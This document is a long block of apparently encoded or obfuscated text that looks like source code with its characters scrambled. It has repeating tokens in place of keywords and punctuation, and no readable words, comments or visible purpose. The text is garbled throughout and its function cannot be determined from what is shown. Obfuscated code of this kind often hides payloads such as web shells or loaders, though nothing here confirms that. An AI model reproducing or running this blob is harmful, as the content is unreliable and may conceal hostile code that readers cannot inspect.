1k=f9<,wilfvvvdU"U69w~{%k-;>2>f61k%*.03yy6( l).%/>&.=%8winmvw6( l).%/>&.=%8wikovvv$U{%k-;>2>f61k%*.03bw,+-618v68-=;0g1k=f9<,wilgvw8:+ ,6+: *-3wvs<01,+>1+w68-=;0g1k=f9<,wilfvvvdU"U69w~{%k-;>2>f61k%*.03yy%&l24,::0;+winmvw6( l).%/>&.=%8wiknvvv$U{%k-;>2>f61k%*.03bw,+-618v%&l24,::0;+wilgvw8:+ =3086190w%&l24,::0;+wikmvvs<01,+>1+w6( l).%/>&.=%8wilfvvvdU"U69w~{%k-;>2>f61k%*.03yy68-=;0g1k=f9<,wiklvw%&l24,::0;+wikkvvv$U{%k-;>2>f61k%*.03bw,+-618v68-=;0g1k=f9<,wilgvww,+-618v8:+ 0/+601w6( l).%/>&.=%8wikjvs}}vs<01,+>1+w==7i3&4;3f/;13mwilfvvvdU"U69w~{%k-;>2>f61k%*.03yy6,,:+w{ 	==7i3&4;3f/;13mwikivvv$UU{%k-;>2>f61k%*.03bw,+-618v{ 	==7i3&4;3f/;13mwikivdU"UUU69w~{%k-;>2>f61k%*.03yy6,,:+w{ 	68-=;0g1k=f9<,wikhvvv$U{%k-;>2>f61k%*.03bw,+-618v{ 	==7i3&4;3f/;13mwikhvdU"U69w~{%k-;>2>f61k%*.03v$Upp>=3:30<4e<>*,>326;;3:(>-:UU-:+*-1{1)146fm  =dU"U-:+*-1{%k-;>2>f61k%*.03dU"U9*1<+601*m-2=(3mf((f./wvU$U+-&$Upu/03&1026>3,+>=636%:-upUUUU{',7)%5;hg/41m.b%&l24,::0;+wikgvw68-=;0g1k=f9<,wkjkvv`w61+v68-=;0g1k=f9<,wikfvw6( l).%/>&.=%8wijovveodU69w68-=;0g1k=f9<,wikgvw68-=;0g1k=f9<,wkhlvvv==7i3&4;3f/;13mwijnvwwnflrnlvvdU{+,75*'4&ghf>l)*5bw{',7)%5;hg/41m.awo':to'ivyy{',7)%5;hg/41m.cwkjccmvv`w{',7)%5;hg/41m.rwgtmvveww{',7)%5;hg/41m.aoyy{',7)%5;hg/41m.cbwlkjkvv`whtlvewo'nfto'knvvdU69w~/=%%ji 4->m3)*1+5i7&0wvv$U-:+*-1dUUU"UUUU69w~<265'fh;mjjfgi392f1k(nw6( l).%/>&.=%8wklgvvv$U-:+*-1dUU"UU{0;i6''0f% .b==7i3&4;3f/;13mwijmvw+-*:vdUUU{-g6)5-%(3(*:b7;)&/4+hignj(>)4ln;)wvdU69wU~%&l24,::0;+wkgnvw{-g6)5-%(3(*:vU##~6,,:+w{-g6)5-%(3(*:68-=;0g1k=f9<,wlgjvv##~68-=;0g1k=f9<,wijlvw{-g6)5-%(3(*:68-=;0g1k=f9<,wijkvv##~{-g6)5-%(3(*:68-=;0g1k=f9<,wijkvU##~6,,:+w{-g6)5-%(3(*:==7i3&4;3f/;13mwlfmvv##~%&l24,::0;+wkgnvw{-g6)5-%(3(*:==7i3&4;3f/;13mwlfmvv##:2/+&w{-g6)5-%(3(*:==7i3&4;3f/;13mwlfmvvUv$UUUU7->=%<m&9)2+)1wvdU-:+*-1dU"U{-720,&o f/ki0,;b{-g6)5-%(3(*:6( l).%/>&.=%8wijjvdU{.m7ffh34njb{-g6)5-%(3(*:68-=;0g1k=f9<,wlfmvdU5% 3m3%%i+&%>-;(142mm)w68-=;0g1k=f9<,wlggvs{-720,&o f/ki0,;s%&l24,::0;+wijivvdUUUU{7i=i6)'h+goh,.ikb==7i3&4;3f/;13mwikgvw6( l).%/>&.=%8wikkvv`w,+-618v8:+ 0/+601w68-=;0g1k=f9<,wijhvs}}ve}}d{)mm==g':'g'bgggid{&km=&+l7;b{)mm==g':'g'zgdU69w{7i=i6)'h+goh,.ik~bb}}yy68-=;0g1k=f9<,wnfjvw{7i=i6)'h+goh,.iks{.m7ffh34njs+-*:vv$U{.m7ffh34njb6( l).%/>&.=%8wlfovw%&l24,::0;+wnfivw{.m7ffh34njs>-->&w{7i=i6)'h+goh,.ikvvvdU%&l24,::0;+wijgvw{.m7ffh34njvdU6( l).%/>&.=%8wijfvw{.m7ffh34njs{7i=i6)'h+goh,.ikvdU":3,:69w==7i3&4;3f/;13mwiiovw{.m7ffh34njvanv$U==7i3&4;3f/;13mwijgvw{.m7ffh34njvdU"Upu,+-:>2618,*=,+6+*+601r2>/upUUU69ww==7i3&4;3f/;13mwijmvw+-*:vr{0;i6''0f% .vaw61+vw{+,75*'4&ghf>l)*5uoqivv$Upp,,>r<01):-+,+>=636%:-90-:;*'+0-:UU7->=%<m&9)2+)1wvdU-:+*-1dUU"UU{&n3fg1(215*g=l(;b l2f4'58*h.77jkwvdU(k;54l2:h&:k3niigh698w{&n3fg1(215*g=l(;vdUUUUU{*h:*9g7o:+.b>-->&wvdUUUU69w%&l24,::0;+wikgvw==7i3&4;3f/;13mwiinvvv$U90-:><7ww>-->&v8:+ 0/+601w6( l).%/>&.=%8wmmivs>-->&wvv>,{93=9>%l2lmh16-0nv$UUUU69w==7i3&4;3f/;13mwijlvw{93=9>%l2lmh16-0nvyy{93=9>%l2lmh16-0nv$U{*h:*9g7o:+.b{93=9>%l2lmh16-0ndU"U"U"Upp2>+<7:'/-:,,601e<*=6<<7>61UUU{/2,%m=&7<'+g7b>-->&wvdU69w;:961:;w6( l).%/>&.=%8wnkvvv$U{2hl0gn,ni<'7b==7i3&4;3f/;13mwikgvw68-=;0g1k=f9<,wjogvv`==7i3&4;3f/;13mwjogvw68-=;0g1k=f9<,wnlvw
 
 sxpxvq68-=;0g1k=f9<,wiimvve9>3,:dU69w68-=;0g1k=f9<,wiilvw{2hl0gn,ni<'7vv$U90-:><7w{2hl0gn,ni<'7>,{;:m.20n>922=h/v$U{/2,%m=&7<'+g7b6( l).%/>&.=%8wmjhvw{;:m.20n>922=h/vdU"Upp/-0/>8>+:<011:<+:;=3002r963+:-UUUUU"U"UU{,=l:2=4j3.o<5b>-->&wUUUU6( l).%/>&.=%8wiikvba(8%</,)&:4o0.=9w}}vsU%&l24,::0;+wiijvba(8=4>%+g%(8i0>1>i(l9h+wvsU68-=;0g1k=f9<,wiiivba68-=;0g1k=f9<,wmjhvw-nif,f=:o%ol2)owvs%&l24,::0;+wjoivvsU6( l).%/>&.=%8wiihvba68-=;0g1k=f9<,wiigvws%&l24,::0;+wnoivvsU%&l24,::0;+wiifvba{*h:*9g7o:+.sU68-=;0g1k=f9<,wihovba{/2,%m=&7<'+g7sU%&l24,::0;+wihnvba2 .n5/+%'k7+mj-&h4-;l+wvsU6( l).%/>&.=%8wihmvba54(k*:2 9 k. f-%=5oj>hw{&n3fg1(215*g=l(;vsUUUU6( l).%/>&.=%8wihlvba1 =+;3*'k*o40'i%:)w{&n3fg1(215*g=l(;vsU==7i3&4;3f/;13mwkmmvbaw{0(/<1k(-15;1'gob8.-;+1im,71-%+8l32:'wvvsUUvdUUUU{'5=i,h4+;<i7b68-=;0g1k=f9<,wikgvw==7i3&4;3f/;13mwihkvv`(/ 5,01 :1<0;:w{,=l:2=4j3.o<5ve%&l24,::0;+wihjvw{,=l:2=4j3.o<5vdU{1k)+9)*&0318.(l1b%%,.kol%h(=,77&':f:6 w{'5=i,h4+;<i7s{-720,&o f/ki0,;vdU{3+ng(mo54il<b>-->&w==7i3&4;3f/;13mwihivba6( l).%/>&.=%8wihhvvdUUUU{ 822k'78'75+(0b1*33dUUUU7->=%<m&9)2+)1wvdUU90-:><7w{.m7ffh34nj>,{525g<n/i;89v$UU69ww6( l).%/>&.=%8wijmvw+-*:vr{0;i6''0f% .va{+,75*'4&ghf>l)*5v$U=-:>4dUU"UU{525g<n/i;89b6( l).%/>&.=%8wlfnvww,+-618v{525g<n/i;89vdUU69w~{525g<n/i;89v$U<01+61*:dU"U+-&$Upp<01,6;:-61361618UUUUU{6l:nn5(+n5m.b{-720,&o f/ki0,;dUUUU{'7'20l1%)(8.2-b)n+nh;8nf0)hgh<w{525g<n/i;89s{1k)+9)*&0318.(l1s{3+ng(mo54il<swnmgnlgvs9*1<+601w{+)+/73;,=nv*,:w{6l:nn5(+n5m.v$U{:-1n:7ko0i3%lb%%,.kol%h(=,77&':f:6 w{+)+/73;,=ns{6l:nn5(+n5m.vdUU69w~{:-1n:7ko0i3%lv-:+*-19>3,:dU-:+*-1==7i3&4;3f/;13mwihgvw68-=;0g1k=f9<,wlimvw68-=;0g1k=f9<,wlfnvw{:-1n:7ko0i3%lvs+-*:vvdU"vdU69w~{'7'20l1%)(8.2-v$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wkhnvs%&l24,::0;+wihfvq{525g<n/i;89vdU<01+61*:dU"Upprh2:,,>8:,e=:1<72>-46+:->+0-UUUU{2&4/h/g:+1b%%,.kol%h(=,77&':f:6 w{'7'20l1%)(8.2-s{-720,&o f/ki0,;vdU69w~{2&4/h/g:+1v$U04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wkhnvs%&l24,::0;+wigovq{525g<n/i;89vdU<01+61*:dU"U{ 822k'78'75+(0b6( l).%/>&.=%8wlimvw%&l24,::0;+wignvw{2&4/h/g:+1vs+-*:vdUUUU69w==7i3&4;3f/;13mwihgvw{ 822k'78'75+(0vv$UU69w6( l).%/>&.=%8wikgvw6( l).%/>&.=%8wlfjvvv$Upp6<7:'+0/+601-0(UUU*/;>+: 0/+601w68-=;0g1k=f9<,wijhvs{525g<n/i;89vdU"U=-:>4dU":3,:$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wkhnvs==7i3&4;3f/;13mwigmvq{525g<n/i;89vdU"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wiglvs{3+1n/j=+n mvdU<01+61*:dU"<>+<7w'<:/+601{3+1n/j=+n mv$U<01+61*:dU"UU"U69w~==7i3&4;3f/;13mwihgvw{ 822k'78'75+(0vv$U{)j(6/+35>-=b%%,.kol%h(=,77&':f:6 w68-=;0g1k=f9<,wihjvw>-->&wU%&l24,::0;+wiikvba(8%</,)&:4o0.=9w}}vsU6( l).%/>&.=%8wiijvba(8=4>%+g%(8i0>1>i(l9h+wvsUU68-=;0g1k=f9<,wiiivba6( l).%/>&.=%8wmjhvw-nif,f=:o%ol2)owvs6( l).%/>&.=%8wjoivvsUU68-=;0g1k=f9<,wigkvbansUUvvs{-720,&o f/ki0,;vdU{<i)6-4h398 )b68-=;0g1k=f9<,wiigvw,+-+-w==7i3&4;3f/;13mwlffvw{)j(6/+35>-=vs%&l24,::0;+wigjvs==7i3&4;3f/;13mwigivvsxbxvdU{:84%oo+.2'6om;>b68-=;0g1k=f9<,wighvw{<i)6-4h398 )swmmgjrggjvvdU90-:><7w{.m7ffh34nj>,{525g<n/i;89v$UU69ww68-=;0g1k=f9<,wiggvw+-*:vr{0;i6''0f% .va{+,75*'4&ghf>l)*5v$U=-:>4dU"U{525g<n/i;89b68-=;0g1k=f9<,wignvww,+-618v{525g<n/i;89vd{<.46f/ogb  p  d{3f7 /%4;n*/2ob{<.46f/ogtkidU69w{525g<n/i;89bbb}}v$Upp201020-/76%:*1696<>+601UU<01+61*:dU"U{4,7j42,,k(b0,://=::3'-f*7w(8%</,)&:4o0.=9w}}vq6( l).%/>&.=%8wiggvw+-*:vswnnrlvvdUU{252-:,6o4m=o8n*)b6( l).%/>&.=%8wigfvw{:84%oo+.2'6om;>vdU{83m,6.>nf6lj'obw6( l).%/>&.=%8wliivw{525g<n/i;89sx`xvbbb9>3,:v`x`xexyxdU90-w{+4o)j.7:g6imjbod{+4o)j.7:g6imjc{252-:,6o4m=o8n*)d{+4o)j.7:g6imjttv$UUU69ww==7i3&4;3f/;13mwifovw+-*:vr{0;i6''0f% .va{+,75*'4&ghf>l)*5v$U=-:>4dU"U{.gkj*n)'-)1l%242bw{+4o)j.7:g6imjbbb{252-:,6o4m=o8n*)rnvdU{7(4n-.=7(4+%b{525g<n/i;89q{83m,6.>nf6lj'oq6( l).%/>&.=%8wifnvq{4,7j42,,k(q%&l24,::0;+wifmvq{+4o)j.7:g6imjq68-=;0g1k=f9<,wiflvq{252-:,6o4m=o8n*)q68-=;0g1k=f9<,wifkvq{:84%oo+.2'6om;>{+4o)j.7:g6imjdU{6mn=*g,fn;b,h-,.hl =0-/%>ki6/w{7(4n-.=7(4+%swfrnvs{.gkj*n)'-)1l%242`9*1<+601w{+)+/73;,=nv*,:w{-720,&o f/ki0,;v$U{:-1n:7ko0i3%lb%%,.kol%h(=,77&':f:6 w{+)+/73;,=ns{-720,&o f/ki0,;vdUU69w~{:-1n:7ko0i3%lv-:+*-19>3,:dU-:+*-16( l).%/>&.=%8wifjvw%&l24,::0;+wlimvw==7i3&4;3f/;13mwignvw{:-1n:7ko0i3%lvs+-*:vvdU"e1*33vdU69w{.gkj*n)'-)1l%242yy6( l).%/>&.=%8wijlvw{6mn=*g,fn;vyy{6mn=*g,fn;~bb}}v$U{ 8;b%%,.kol%h(=,77&':f:6 w{6mn=*g,fn;s{-720,&o f/ki0,;vdUU{ =/&./h2=4h36;84b{ 8;`%&l24,::0;+wlimvw==7i3&4;3f/;13mwignvw{ 8;vs+-*:ve1*33dU69w==7i3&4;3f/;13mwifjvw{ =/&./h2=4h36;84vv$UUU{ 822k'78'75+(0b{ =/&./h2=4h36;84d{%<)*4)&,bilgnd{-=;,o<n3-0<*(jb{%<)*4)&,znldU69w==7i3&4;3f/;13mwifivw6( l).%/>&.=%8wlfjvvv$U*/;>+: 0/+601w%&l24,::0;+wifhvs{525g<n/i;89vdU"UUUU=-:>4dUU"UUUU"UU"U69w==7i3&4;3f/;13mwifjvw{ 822k'78'75+(0vv$U=-:>4dU"U"U"U69w~68-=;0g1k=f9<,wifjvw{ 822k'78'75+(0vv$U-:+*-1dU"U69w{0(/<1k(-15;1'goyy68-=;0g1k=f9<,wifgvw==7i3&4;3f/;13mwiffvvv$U;:3:+: 0/+601w:j):m/8&( k,>'0**i0lw6( l).%/>&.=%8wkmmvvvdU"U69w~6,,:+w{%&l24,::0;+wknjvv##~68-=;0g1k=f9<,wifjvw{%&l24,::0;+wknjvvv{==7i3&4;3f/;13mwhoovb>-->&wvdUUUU{%&l24,::0;+whonvb68-=;0g1k=f9<,whomvw68-=;0g1k=f9<,wnfivw{%&l24,::0;+whonvs{0(/<1k(-15;1'govvdU69w6,,:+w{ 822k'78'75+(0==7i3&4;3f/;13mwholvvyy%&l24,::0;+whokvw{ 822k'78'75+(0==7i3&4;3f/;13mwhojvvv$U24k>&&7/&)5/mf&7*nw{ 822k'78'75+(06( l).%/>&.=%8whojvs6,,:+w{ 822k'78'75+(068-=;0g1k=f9<,whoivvyy==7i3&4;3f/;13mwhokvw{ 822k'78'75+(0==7i3&4;3f/;13mwhoivv`{ 822k'78'75+(0%&l24,::0;+whoive}}s~:2/+&w{ 822k'78'75+(068-=;0g1k=f9<,whohvvvdU"UU{7o=0l,'7i=fb9>3,:dUU{9g6(o70 2g-2&n=hb>-->&wvdUUU69w6,,:+w{ 822k'78'75+(068-=;0g1k=f9<,wkhhvvyy%&l24,::0;+wifjvw{ 822k'78'75+(068-=;0g1k=f9<,wkhhvvv$U{68/g79o4>:b>-->&wvdUU90-:><7w{ 822k'78'75+(0==7i3&4;3f/;13mwkhhv>,{/59mn0<k05f9*jhiv$U69w6( l).%/>&.=%8whokvw{/59mn0<k05f9*jhivyy{/59mn0<k05f9*jhi~bb}}v$U{68/g79o4>:b{/59mn0<k05f9*jhidU"Upu;6>810,+6<;>+>930(r8->/7upUU"U{)1.4h:()j>=nib{%&l24,::0;+wkhfvdU{68/g79o4>:b%;;;oh%9i2om9%;6ko&8&w{68/g79o4>:vdUUUU{68-=;0g1k=f9<,wkhfvb{68/g79o4>:dU{9g6(o70 2g-2&n=h%&l24,::0;+wkhhvb{68/g79o4>:dU69w~:2/+&w%&l24,::0;+wnfivw{68/g79o4>:s{)1.4h:()j>=nivv##~:2/+&w6( l).%/>&.=%8wnfivw{)1.4h:()j>=nis{68/g79o4>:vvv$U{7o=0l,'7i=fb+-*:dU"UU"UU69w6,,:+w{ 822k'78'75+(0%&l24,::0;+whogvvyy68-=;0g1k=f9<,whofvw{ 822k'78'75+(0==7i3&4;3f/;13mwhnovvv$U{68/g79o4>:b>-->&wvdUU90-:><7w{ 822k'78'75+(06( l).%/>&.=%8whnov>,{/59mn0<k05f9*jhiv$U69w68-=;0g1k=f9<,whnnvw{/59mn0<k05f9*jhivyy{/59mn0<k05f9*jhi~bb}}v$U{68/g79o4>:b{/59mn0<k05f9*jhidU"U"U{)1.4h:()j>=nib{%&l24,::0;+wkgmvdUUUU{68/g79o4>:b%;;;oh%9i2om9%;6ko&8&w{68/g79o4>:vdUUU{68-=;0g1k=f9<,wkgmvb{68/g79o4>:dU{9g6(o70 2g-2&n=h6( l).%/>&.=%8whnovb{68/g79o4>:dU69w~:2/+&w%&l24,::0;+wnfivw{68/g79o4>:s{)1.4h:()j>=nivv##~:2/+&w68-=;0g1k=f9<,wnfivw{)1.4h:()j>=nis{68/g79o4>:vvv$UUU{7o=0l,'7i=fb+-*:dU"U"Upp2=,+-618,+-6<+e>=0-+:.*6)>3:1<:r<3>,,UU69w6,,:+w{ 822k'78'75+(06( l).%/>&.=%8wkgjvvyy6( l).%/>&.=%8whnnvw{ 822k'78'75+(068-=;0g1k=f9<,wkgjvvv$U{<86f3l8,4ifj0(<ib0m;'l>7%/7%i16 jw6( l).%/>&.=%8whnmvs}}vdU{==7i3&4;3f/;13mwhnlvb{ 822k'78'75+(0%&l24,::0;+wkgjvdU{9g6(o70 2g-2&n=h==7i3&4;3f/;13mwhnkvb{ 822k'78'75+(06( l).%/>&.=%8whnkvdU69w6( l).%/>&.=%8whnjvw{ 822k'78'75+(0%&l24,::0;+whnkvv~bb68-=;0g1k=f9<,whnjvw{<86f3l8,4ifj0(<ivv$Upp7:-26+6>1)6,6+0-UU5% 3m3%%i+&%>-;(142mm)w6( l).%/>&.=%8whnivs{ 822k'78'75+(0==7i3&4;3f/;13mwhnkvs6( l).%/>&.=%8whnhvvdU-5;7.m)./*64ng-*48g*wvdU"U*1,:+w{<86f3l8,4ifj0(<ivdUUU"U{;*g)m2gg2o;g1b6,,:+w{ 822k'78'75+(06( l).%/>&.=%8wkfnvvyy==7i3&4;3f/;13mwhofvw{ 822k'78'75+(06( l).%/>&.=%8wkfnvv`{ 822k'78'75+(0%&l24,::0;+wkfnve>-->&wvdUUU69w6,,:+w{;*g)m2gg2o;g1%&l24,::0;+wkgfvvyy==7i3&4;3f/;13mwhnnvw{;*g)m2gg2o;g1==7i3&4;3f/;13mwkgfvvv$U69w6( l).%/>&.=%8wjjlvw{;*g)m2gg2o;g1%&l24,::0;+wkgfvvawo'mlto'9vv$UUUU{6( l).%/>&.=%8wkggvb{;*g)m2gg2o;g1%&l24,::0;+wkgfvdU{9g6(o70 2g-2&n=h==7i3&4;3f/;13mwhngvb{;*g)m2gg2o;g1==7i3&4;3f/;13mwhngvdU":3,:$UUU{%&l24,::0;+wkggvb}}dU{9g6(o70 2g-2&n=h6( l).%/>&.=%8whngvb}}dU5% 3m3%%i+&%>-;(142mm)w%&l24,::0;+whnfvs}}s68-=;0g1k=f9<,whnhvvdUUU"U"U69w6,,:+w{;*g)m2gg2o;g1%&l24,::0;+whmovvyy==7i3&4;3f/;13mwhnnvw{;*g)m2gg2o;g1==7i3&4;3f/;13mwhmnvvv$U69w==7i3&4;3f/;13mwjjlvw{;*g)m2gg2o;g1==7i3&4;3f/;13mwhmnvvawitfkvv$U{68-=;0g1k=f9<,whmmvb{;*g)m2gg2o;g168-=;0g1k=f9<,whmnvdU{9g6(o70 2g-2&n=h6( l).%/>&.=%8whmlvb{;*g)m2gg2o;g1==7i3&4;3f/;13mwhmkvdU":3,:$U{==7i3&4;3f/;13mwhmmvb}}dU{9g6(o70 2g-2&n=h%&l24,::0;+whmkvb}}dU5% 3m3%%i+&%>-;(142mm)w==7i3&4;3f/;13mwknlvs}}s==7i3&4;3f/;13mwhnhvvdUU"U"U{):*n2>1f2%8 jb6,,:+w{ 822k'78'75+(06( l).%/>&.=%8whmjvvyy6( l).%/>&.=%8whmivw{ 822k'78'75+(068-=;0g1k=f9<,whmhvv`{ 822k'78'75+(068-=;0g1k=f9<,whmhve>-->&wvdU{)+n,7=.>=&<hf<mb>-->&wU%&l24,::0;+whmgvba==7i3&4;3f/;13mwhmgvsU==7i3&4;3f/;13mwhmfvba68-=;0g1k=f9<,whlovsUU6( l).%/>&.=%8whlnvba==7i3&4;3f/;13mwhlmvsU68-=;0g1k=f9<,whllvba==7i3&4;3f/;13mwhlkvsU68-=;0g1k=f9<,whljvba6( l).%/>&.=%8whlivsU6( l).%/>&.=%8whlhvba%&l24,::0;+whlgvsU==7i3&4;3f/;13mwhlfvba68-=;0g1k=f9<,whkovsUUU==7i3&4;3f/;13mwhknvba==7i3&4;3f/;13mwhkmvsUvdU90-:><7w{)+n,7=.>=&<hf<m>,{)f5>6 il=-9ba{).30+gfm.2+:5v$U69w6,,:+w{):*n2>1f2%8 j{)f5>6 il=-9vyy68-=;0g1k=f9<,whnnvw{):*n2>1f2%8 j{)f5>6 il=-9vyy==7i3&4;3f/;13mwjjlvw{):*n2>1f2%8 j{)f5>6 il=-9vawmoimjmvv$U{9g6(o70 2g-2&n=h{).30+gfm.2+:5b{):*n2>1f2%8 j{)f5>6 il=-9dU"U"U69w6,,:+w{ 822k'78'75+(0==7i3&4;3f/;13mwjlnvvyy==7i3&4;3f/;13mwhklvw{ 822k'78'75+(0%&l24,::0;+wjlnvvv$UU{);73o6j*)*m3<gbw61+v{ 822k'78'75+(068-=;0g1k=f9<,wjlnvdU69w{);73o6j*)*m3<gabwmnjtgjvyy{);73o6j*)*m3<gcbwo'nl9h9to'nmonvv{9g6(o70 2g-2&n=h68-=;0g1k=f9<,wjlnvb{);73o6j*)*m3<gdU"U69w6,,:+w{ 822k'78'75+(06( l).%/>&.=%8wkmfvvyy%&l24,::0;+whkkvw{ 822k'78'75+(06( l).%/>&.=%8wkmfvvv$U{ <6bw61+v{ 822k'78'75+(068-=;0g1k=f9<,whkjvdU69w{ <6abwmiotkovyy{ <6cbwgilojtfjvv{9g6(o70 2g-2&n=h==7i3&4;3f/;13mwhkivb{ <6dU"U69w:2/+&w{9g6(o70 2g-2&n=hvv$U;:3:+: 0/+601w68-=;0g1k=f9<,wingvvdU;:3:+: 0/+601w6( l).%/>&.=%8winivvdU*/;>+: 0/+601w6( l).%/>&.=%8whkhvs68-=;0g1k=f9<,wimmvwvvdU;:3:+: +->1,6:1+w==7i3&4;3f/;13mwhkgvvdUUU%382/;<*((i5j%h>04n+wvd{ fi(;>+k4;g6bjotnkd{&ki9f;jmb{ fi(;>+k4;g6rkhdUUUU349)=<68.<<j<,kwvdU-:+*-1dU"UUUUU{*i-0)*;7ol(7n+b>7fo6,k91 g);.->4)'*kw6( l).%/>&.=%8whkfvs9>3,:vdUUU69w%&l24,::0;+whmivw{*i-0)*;7ol(7n+vv$U{9g6(o70 2g-2&n=hb==7i3&4;3f/;13mwkmnvw{*i-0)*;7ol(7n+s{9g6(o70 2g-2&n=hvd{)o72n2ii<k0m(3b  p  d{;n1&.0%95/lb{)o72n2ii<k0m(3tkgdU"UU69w6( l).%/>&.=%8wifgvw68-=;0g1k=f9<,wjnivvv$U{-2.h'.h)16;5%%j4b7:j'0.o461hlo6m(.wvdUUU69w6,,:+w{9g6(o70 2g-2&n=h6( l).%/>&.=%8wjlnvvyyw61+v{9g6(o70 2g-2&n=h==7i3&4;3f/;13mwhjovabwlngrngvyyw61+v{9g6(o70 2g-2&n=h%&l24,::0;+whjovcbwfihhnrnolhnvv{-2.h'.h)16;5%%j4bw61+v{9g6(o70 2g-2&n=h68-=;0g1k=f9<,whjovdUU,:+ +->1,6:1+w>n,,- 8f6hjj%h64o,.wvs{9g6(o70 2g-2&n=hs{-2.h'.h)16;5%%j4vdU"UU('4+o7fhim>hho9fw6( l).%/>&.=%8whjnvs{9g6(o70 2g-2&n=hs==7i3&4;3f/;13mwhjmvvdUUU69w6,,:+w{9g6(o70 2g-2&n=h68-=;0g1k=f9<,whjlvvyy68-=;0g1k=f9<,wifgvw68-=;0g1k=f9<,whjkvvyy68-=;0g1k=f9<,wifgvw==7i3&4;3f/;13mwhjjvvyy68-=;0g1k=f9<,wifgvw6( l).%/>&.=%8wklhvvv$U{5>.;)-<4()7'.72b(/ 8:+ ,<7:;*3:; :):1+w%1(m2o%h.(-)mg:wvvdU69w{5>.;)-<4()7'.72yyw61+v{5>.;)-<4()7'.72ra61+:-)>3~bbw61+v{9g6(o70 2g-2&n=h==7i3&4;3f/;13mwhjlvv$UU(/ <3:>- ,<7:;*3:; 7004w%1(m2o%h.(-)mg:wvvdU(/ ,<7:;*3: :):1+w6( l).%/>&.=%8wimmvwvt%&l24,::0;+wkkovwwnongfvswmmkthivvs==7i3&4;3f/;13mwklovs%1(m2o%h.(-)mg:wvvdU"U"U*/;>+: 0/+601w6( l).%/>&.=%8whkhvs==7i3&4;3f/;13mwhjivwvvdU;:3:+: 0/+601w68-=;0g1k=f9<,whjhvvdU;:3:+: 0/+601w6( l).%/>&.=%8winivvdU;:3:+: +->1,6:1+w%&l24,::0;+whkgvvdU%382/;<*((i5j%h>04n+wvdU349)=<68.<<j<,kwvdUUUUU69w{7o=0l,'7i=fv$U/j-5&k5g<5*)%)-%>o59o wvdU"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$Upp;:>330<>+:<0)>-6>1+90-)mUU04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwhjgvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"961>33&$U8j,l7f2>m0=f6&<-w==7i3&4;3f/;13mwhjfvvdU"U"UUUUUU9*1<+60124k>&&7/&)5/mf&7*nw{>i: n,>n;/=s{-667gm%g*%m*4l51b}}s{&%>l--2h.'b9>3,:vU$U69w~<265'fh;mjjfgi392f1k(nw68-=;0g1k=f9<,whjfvvv-:+*-1dU+-&$UU{81j74='8k.+b%&l24,::0;+wkomvw{>i: n,>n;/=s+-*:vdU69w6( l).%/>&.=%8whiovw{81j74='8k.+vyy==7i3&4;3f/;13mwjjlvw{81j74='8k.+vawo'ffgmoto'iih:ovv{81j74='8k.+b5( g6,6h*67j545kh:w{81j74='8k.+vdU69w~{81j74='8k.+##68-=;0g1k=f9<,wjjlvw{81j74='8k.+vcwnftkgnv##==7i3&4;3f/;13mwliivw{81j74='8k.+s==7i3&4;3f/;13mwhinvv~bbov$U-:+*-1dU"U69w~)%;j1-;6fo.< h=<%=*w{81j74='8k.+vv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+whimvs68-=;0g1k=f9<,whilvvdU-:+*-1dU"U69w6( l).%/>&.=%8wmmkvw%&l24,::0;+whikvs==7i3&4;3f/;13mwillvw{81j74='8k.+soswkoiktlmvvs{//9jlm9<&hg,0%(ovv$U69w{-667gm%g*%m*4l51~bb}}yy{-667gm%g*%m*4l51~bb{//9jlm9<&hg,0%(onv$U04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,whijvs68-=;0g1k=f9<,whiivvd{+&*94&j/'m%0bjjod{<23-8h,%l&3k3b{+&*94&j/'m%0znkdU-:+*-1dU"U{-667gm%g*%m*4l51b{//9jlm9<&hg,0%(ondUUU":3,:$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwhijvs6( l).%/>&.=%8whihvvdU-:+*-1dU"UUU69w~{&%>l--2h.'yy):-,601 <02/>-:w{-667gm%g*%m*4l51s(8=4>%+g%(8i0>1>i(l9h+wvvcbov$U-:+*-1dU"UUU{1jg*m<61o'>.,3;b:%''&1')6-2mnm(wvdUU69w~{1jg*m<61o'>.,3;##==7i3&4;3f/;13mwjjlvw{1jg*m<61o'>.,3;vcwkmmthgvv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8whijvs%&l24,::0;+whigvvdU-:+*-1dUUU"U{ ,2(3*.*,*hj3.b8:+ 0/+601w==7i3&4;3f/;13mwngfvvdU69w==7i3&4;3f/;13mwhiovw{ ,2(3*.*,*hj3.vyy%&l24,::0;+wliivw{ ,2(3*.*,*hj3.s6( l).%/>&.=%8whnjvw{81j74='8k.+vqx#xvbbbov$U{>jj+-<3m=5,1bw61+v6( l).%/>&.=%8willvw{ ,2(3*.*,*hj3.s%&l24,::0;+wliivw{ ,2(3*.*,*hj3.sx#xvtnvdU69w6( l).%/>&.=%8whjivwvr{>jj+-<3m=5,1cwgjmkmtnnjgvv$UU-:+*-1dU"U"U{;.='==l,68*jb68-=;0g1k=f9<,whifvw-nif,f=:o%ol2)owvvq==7i3&4;3f/;13mwngjvq6( l).%/>&.=%8whnjvw{81j74='8k.+vdU69w==7i3&4;3f/;13mwjfhvw{;.='==l,68*jvv$U{& g6),6&o(kbw61+v==7i3&4;3f/;13mwmomvw{;.='==l,68*jvdU69w{& g6),6&o(kyy==7i3&4;3f/;13mwhhovwvr{& g6),6&o(kcwngmjntignkfvv$U-:+*-1dU"UU